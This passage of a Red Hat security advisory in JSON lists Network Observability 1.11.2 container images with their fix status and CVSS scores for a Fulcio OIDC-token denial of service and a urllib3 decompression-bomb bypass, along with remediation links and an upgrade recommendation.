"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-66506"
},
{
"category": "external",
"summary": "RHBZ#2419056",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2419056"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-66506",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66506"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-66506",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66506"
},
{
"category": "external",
"summary": "https://github.com/sigstore/fulcio/commit/765a0e57608b9ef390e1eeeea8595b9054c63a5a",
"url": "https://github.com/sigstore/fulcio/commit/765a0e57608b9ef390e1eeeea8595b9054c63a5a"
},
{
"category": "external",
"summary": "https://github.com/sigstore/fulcio/security/advisories/GHSA-f83f-xpx7-ffpw",
"url": "https://github.com/sigstore/fulcio/security/advisories/GHSA-f83f-xpx7-ffpw"
}
],
"release_date": "2025-12-04T22:04:41.637000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-02-18T08:39:41+00:00",
"details": "For details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:2900"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "github.com/sigstore/fulcio: Fulcio: Denial of Service via crafted OpenID Connect (OIDC) token"
},
{
"cve": "CVE-2026-21441",
"cwe": {
"id": "CWE-409",
"name": "Improper Handling of Highly Compressed Data (Data Amplification)"
},
"discovery_date": "2026-01-07T23:01:59.422078+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2427726"
}
],
"notes": [
{
"category": "description",
"text": "urllib3 is an HTTP client library for Python. urllib3\u0027s streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. urllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption. Starting in version 1.22 and prior to version 2.6.3, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client. Applications and libraries are affected when they stream content from untrusted sources by setting `preload_content=False` when they do not disable redirects. Users should upgrade to at least urllib3 v2.6.3, in which the library does not decode content of redirect responses when `preload_content=False`. If upgrading is not immediately possible, disable redirects by setting `redirect=False` for requests to untrusted source.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "urllib3: urllib3 vulnerable to decompression-bomb safeguard bypass when following HTTP redirects (streaming API)",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64"
],
"known_not_affected": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-21441"
},
{
"category": "external",
"summary": "RHBZ#2427726",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2427726"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-21441",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-21441"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-21441",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21441"
},
{
"category": "external",
"summary": "https://github.com/urllib3/urllib3/commit/8864ac407bba8607950025e0979c4c69bc7abc7b",
"url": "https://github.com/urllib3/urllib3/commit/8864ac407bba8607950025e0979c4c69bc7abc7b"
},
{
"category": "external",
"summary": "https://github.com/urllib3/urllib3/security/advisories/GHSA-38jv-5279-wg99",
"url": "https://github.com/urllib3/urllib3/security/advisories/GHSA-38jv-5279-wg99"
}
],
"release_date": "2026-01-07T22:09:01.936000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-02-18T08:39:41+00:00",
"details": "For details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:2900"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "urllib3: urllib3 vulnerable to decompression-bomb safeguard bypass when following HTTP redirects (streaming API)"
},
{
"cve": "CVE-2026-23745",
